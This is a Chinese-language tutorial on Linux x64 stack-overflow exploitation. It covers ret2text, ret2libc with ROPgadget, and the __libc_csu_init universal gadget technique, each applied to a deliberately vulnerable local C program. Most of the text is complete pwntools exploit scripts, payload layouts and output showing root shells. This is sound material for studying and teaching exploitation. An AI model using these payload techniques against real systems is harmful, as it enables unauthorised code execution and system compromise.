参考: http://pwn4.fun/2016/04/04/Linux-x64-PWN/

linux_x64与linux_x86的区别

主要两点:

  1. 内存地址的范围由32位变成了64位,但是可以使用的内存地址不能大于0x00007fffffffffff,否则会抛出异常。
  2. 参数传递方式发生改变,x86参数都是保存在栈上,x64中的前6个参数依次保存在rdi, rsi, rdx, rcx, r8和r9中,如果有更多参数则保存在栈上。

拿一个简单的程序演示:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void callsystem()
{
    system("/bin/sh");
}

void vulnerable_function()
{
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char **argv)
{
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
    return 0;
}

编译

gcc -fno-stack-protector vuln1.c -o vuln1
chmod +x vuln1

使用gdb查看vulnerable_function的指令

gdb vuln1
gdb-peda$ disass vulnerable_function
Dump of assembler code for function vulnerable_function:
   0x00000000004005cd <+0>:	push   rbp
   0x00000000004005ce <+1>:	mov    rbp,rsp
   0x00000000004005d1 <+4>:	add    rsp,0xffffffffffffff80
   0x00000000004005d5 <+8>:	lea    rax,[rbp-0x80]
   0x00000000004005d9 <+12>:	mov    edx,0x200
   0x00000000004005de <+17>:	mov    rsi,rax
   0x00000000004005e1 <+20>:	mov    edi,0x0
   0x00000000004005e6 <+25>:	call   0x4004a0 <read@plt>
   0x00000000004005eb <+30>:	leave  
   0x00000000004005ec <+31>:	ret    
End of assembler dump.

lea rax,[rbp-0x80]可知栈结构如下:

buf 0x80
rbp
return address

所以要overwrite return address为callsystem()函数的地址,需要136(0x80+8)个占位字节+callsystem()的地址。

查看callsystem()的地址

gdb-peda$ p &callsystem
$1 = (<text variable, no debug info> *) 0x4005bd <callsystem>
gdb-peda$ x/3i 0x4005bd
   0x4005bd <callsystem>:	push   rbp
   0x4005be <callsystem+1>:	mov    rbp,rsp
   0x4005c1 <callsystem+4>:	mov    edi,0x4006c0

编写exp

#!/usr/bin/python
#coding:utf-8
from pwn import *

p = process('./vuln1')
callsystem = 0x4005bd
payload = "A" * 136 + p64(callsystem)
p.send(payload)
p.interactive()

结果

python exp.py 
[+] Starting local process './vuln1': pid 7390
[*] Switching to interactive mode
Hello, World
$ id
uid=0(root) gid=0(root)=0(root)


使用工具寻找gadgets

x64的参数会保存在寄存器中,所以需要找一些类似于pop rdi; ret这样的gadget,借助工具如ROPgadget查找会更加快捷方便。

再用一个简单的例子演示:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <dlfcn.h>

void systemaddr()
{
    void *handle = dlopen("libc.so.6", RTLD_LAZY);
    printf("%p\n", dlsym(handle, "system"));
    fflush(stdout);
}

void vulnerable_function()
{
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char **argv)
{
    systemaddr();
    write(1, "Hello, World\n", 13);
    vulnerable_function();
}

编译:gcc -fno-stack-protector vuln2.c -o vuln2 -ldl

如果你的程序中使用dlopen、dlsym、dlclose、dlerror 显示加载动态库,需要设置链接选项 -ldl

程序会打印system()在内存中的地址,这样就不需要考虑ASLR的问题了,只要想办法执行system("/bin/sh")就行。需要找一个将rdi指向”/bin/sh”的gadgets:

从程序中查找指令: ROPgadget --binary vuln2

因为程序较小,没有pop rdi; ret这个gadgets。可以从libc.so中找,因为程序本身会load libc.so到内存中,并打印system()的地址,所以找到gadgets后可以通过system()计算出libc.so在内存中的基址,从而得到gadgets在内存中的实际地址。

查看调用的动态库:ldd vuln2

	linux-vdso.so.1 =>  (0x00007ffff7ffa000)
	libdl.so.2 => /lib64/libdl.so.2 (0x00007ffff7bd7000)
	libc.so.6 => /lib64/libc.so.6 (0x00007ffff7809000)
	/lib64/ld-linux-x86-64.so.2 (0x00007ffff7ddb000)

查找libc中的pop rdi ; ret

ROPgadget --binary /lib64/libc.so.6 --only "pop|ret" | grep rdi
0x000000000001fcf0 : pop rdi ; pop rbp ; ret
0x0000000000022bf8 : pop rdi ; ret

我们需要构造的payload结构如下

payload = "\x00" * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)

因为我们只需要调用一次system()函数就可以获取shell,所以可以搜索不带ret的gadgets:

ROPgadget --binary /lib64/libc.so.6 --only "pop|call" | grep rdi
0x000000000018f783 : call qword ptr [rbp + rdi*4]
0x0000000000184ab7 : call qword ptr [rdi]
0x00000000000266db : call rdi
0x00000000000fe889 : pop rax ; pop rdi ; call rax
0x0000000000033cfb : pop rdi ; call 0x8ff83
0x00000000000fe88a : pop rdi ; call rax

发现pop rax ; pop rdi ; call rax也可以完成目标,将rax赋值system()的地址,rdi赋值为”/bin/sh”的地址:

payload = "\x00" * 136 + p64(pop_pop_call_addr) + p64(system_addr) + p64(binsh_addr)

这两个ROP链都可以完成目标,随便选择一个进行攻击即可。 最终的exp:

#!/usr/bin/env python
from pwn import *

libc = ELF('/lib64/libc.so.6')
p = process('./vuln2')
system_addr_str = p.recvuntil('\n')
system_addr = int(system_addr_str,16)
base_addr = system_addr - libc.symbols['system']
binsh_addr = base_addr + next(libc.search('/bin/sh'))
pop_ret_addr = base_addr + 0x0000000000022bf8
p.recv()
payload = "\x00" * 136 + p64(pop_ret_addr) + p64(binsh_addr) + p64(system_addr)
p.send(payload)
p.interactive()

结果

python exp.py 
[*] '/lib64/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process './vuln2': pid 8620
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)

一个简单的通用gadgets例子

漏洞代码

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 512);
}

int main(int argc, char** argv) {
    write(STDOUT_FILENO, "Hello, World\n", 13);
    vulnerable_function();
}

编译

gcc -fno-stack-protector -z execstack -o level5 level5.c

checksec

python
>>> from pwn import *
>>> print ELF('level5').checksec()
[*] '/root/sploitfun/64/64/level5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

在x64下有一些万能的gadgets可以使用。比如用objdump -d level5 -M intel |less观察一下__libc_csu_init()这个函数。程序只要调用了libc.so,就会有这个函数对libc进行初始化。

00000000004005d0 <__libc_csu_init>:
  4005d0:       41 57                   push   r15
  4005d2:       41 89 ff                mov    r15d,edi
  4005d5:       41 56                   push   r14
  4005d7:       49 89 f6                mov    r14,rsi
  4005da:       41 55                   push   r13
  4005dc:       49 89 d5                mov    r13,rdx
  4005df:       41 54                   push   r12
  4005e1:       4c 8d 25 28 08 20 00    lea    r12,[rip+0x200828]        # 600e10 <__frame_dummy_init_array_entry>
  4005e8:       55                      push   rbp
  4005e9:       48 8d 2d 28 08 20 00    lea    rbp,[rip+0x200828]        # 600e18 <__init_array_end>
  4005f0:       53                      push   rbx
  4005f1:       4c 29 e5                sub    rbp,r12
  4005f4:       31 db                   xor    ebx,ebx
  4005f6:       48 c1 fd 03             sar    rbp,0x3
  4005fa:       48 83 ec 08             sub    rsp,0x8
  4005fe:       e8 15 fe ff ff          call   400418 <_init>
  400603:       48 85 ed                test   rbp,rbp
  400606:       74 1e                   je     400626 <__libc_csu_init+0x56>
  400608:       0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0]
  40060f:       00 
  400610:       4c 89 ea                mov    rdx,r13
  400613:       4c 89 f6                mov    rsi,r14
  400616:       44 89 ff                mov    edi,r15d
  400619:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40061d:       48 83 c3 01             add    rbx,0x1
  400621:       48 39 eb                cmp    rbx,rbp
  400624:       75 ea                   jne    400610 <__libc_csu_init+0x40>
  400626:       48 83 c4 08             add    rsp,0x8
  40062a:       5b                      pop    rbx
  40062b:       5d                      pop    rbp
  40062c:       41 5c                   pop    r12
  40062e:       41 5d                   pop    r13
  400630:       41 5e                   pop    r14
  400632:       41 5f                   pop    r15
  400634:       c3                      ret    

对上面的汇编代码进行分析,先分析6次pop的地方(我们不妨将6次pop的地址记为pop_6)

  40062a:       5b                      pop    rbx	//为了减小后面利用难度,将rbx取值为0
  40062b:       5d                      pop    rbp	//将rbp取值为1,通过检测,使检验避过。
  40062c:       41 5c                   pop    r12	//这里存放我们最后跳转目标函数地址
  40062e:       41 5d                   pop    r13	//传入第三个参数
  400630:       41 5e                   pop    r14	//第二个参数
  400632:       41 5f                   pop    r15	//第一个参数
  400634:       c3                      ret    

我们将6次pop中的ret的值设为下面汇编的地址(我们不妨将下面汇编的地址记为mov_3)

  400610:       4c 89 ea                mov    rdx,r13	//传给第三个参数
  400613:       4c 89 f6                mov    rsi,r14	//传给第二个参数
  400616:       44 89 ff                mov    edi,r15d	//第一个参数,r15d(r15低32位)给 edi(rdi低32位)
  400619:       41 ff 14 dc             call   QWORD PTR [r12+rbx*8]
  40061d:       48 83 c3 01             add    rbx,0x1
  400621:       48 39 eb                cmp    rbx,rbp
  400624:       75 ea                   jne    400620 <__libc_csu_init+0x40>

我们将r15的值赋值给rdi,,r14的值赋值给rsi,r13的值赋值给edx,随后就会调用call qword ptr [r12+rbx8]。这时候我们只要再将rbx的值赋值为0,再通过精心构造栈上的数据,我们就可以控制pc去调用我们想要调用的函数了(比如说write函数)。执行完call qword ptr [r12+rbx8]之后,程序会对rbx+=1,然后对比rbp和rbx的值,如果相等就会继续向下执行并ret到我们想要继续执行的地址。所以为了让rbp和rbx的值相等,我们可以将rbp的值设置为1,因为之前已经将rbx的值设置为0了。所以payload为

payload = 'a'*0x88+p64(pop_6)
payload+=p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)
payload+=p64(mov_3)+'a'*(8*7)+p64(main)

write规定传入的第一个参数对应r15,在mov_3处是将r15给edi,所以传入泄露的字节数,只需要泄露8个字节即可。第二个参数对应r14,在mov_3处是将r14给rsi,为要泄露的位置,因为got表中存的是地址而plt表中存的是指令,无法进行call操作,所以第二个参数为write在got表中的地址。第三个参数对应r13,在mov_3处是将r13给rdx,所以第三个参数为1。a(87),还是继续覆盖栈上的数据,直到把返回值覆盖成目标函数的main函数,最后跳至main函数。

第一部分的payload如下

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level5')
elf = ELF('./level5')
#p = remote('127.0.0.1',10001)
pop_6 = 0x000000000040062a
mov_3 = 0x0000000000400610
elf.address=0x0000000000400000
payload = 'a'*(0x80+0x08)+p64(pop_6)
payload += p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)
payload += p64(mov_3)
#pwnlib.gdb.attach(p)
p.recvuntil("World\n")
p.sendline(payload)
write=u64(p.recv(8).ljust(8,'\x00'))
print hex(write)

结果

python exp.py 
[+] Starting local process './level5': pid 25978
[*] '/root/sploitfun/64/64/level5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
0x7ffff7afc9a0

验证

gdb-peda$ x/3i 0x7ffff7afc9a0
   0x7ffff7afc9a0 <write>:	cmp    DWORD PTR [rip+0x2dd5ed],0x0        # 0x7ffff7dd9f94 <__libc_multiple_threads>
   0x7ffff7afc9a7 <write+7>:	jne    0x7ffff7afc9b9 <write+25>
   0x7ffff7afc9a9 <__write_nocancel>:	mov    eax,0x1

第一个payload发出后,接收write地址,计算出system地址和sh地址

write=u64(p.recv(8).ljust(8,'\x00'))
print hex(write) 
libc=LibcSearcher('write',write)
libcbase=write-libc.dump('write')
system=libcbase+libc.dump('system')
bin_sh=libcbase+libc.dump('str_bin_sh')

查找gadgetROPgadget --binary level5 | less

0x0000000000400633 : pop rdi ; ret

再次payload,调用system(sh)

payload='a'*0x88+p64(0x0000000000400633)+p64(bin_sh)+p64(system)

最终exp

#!python
#!/usr/bin/env python
from pwn import *

p = process('./level5')
elf = ELF('./level5')
#p = remote('127.0.0.1',10001)
pop_6 = 0x000000000040062a
mov_3 = 0x0000000000400610
elf.address=0x0000000000400000
main = 0x000000000040059d

payload = 'a'*(0x80+0x08)+p64(pop_6)
payload += p64(0)+p64(1)+p64(elf.got['write'])+p64(8)+p64(elf.got['write'])+p64(1)
payload += p64(mov_3)+ 'a'*(8*7)+p64(main)
#pwnlib.gdb.attach(p)
p.recvuntil("World\n")
p.sendline(payload)
write=u64(p.recv(8).ljust(8,'\x00'))
#write = 0x7ffff7afc9a0
print hex(write)

system=0x7ffff7a50270
bin_sh=0x7ffff7b94cc9

payload='a'*0x88+p64(0x0000000000400633)+p64(bin_sh)+p64(system)
p.recvuntil("World\n")
p.sendline(payload)
p.interactive()

最终结果

python exp.py 
[+] Starting local process './level5': pid 29019
[*] '/root/sploitfun/64/64/level5'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
0x7ffff7afc9a0
[*] Switching to interactive mode
$ id
uid=0(root) gid=0(root) 组=0(root)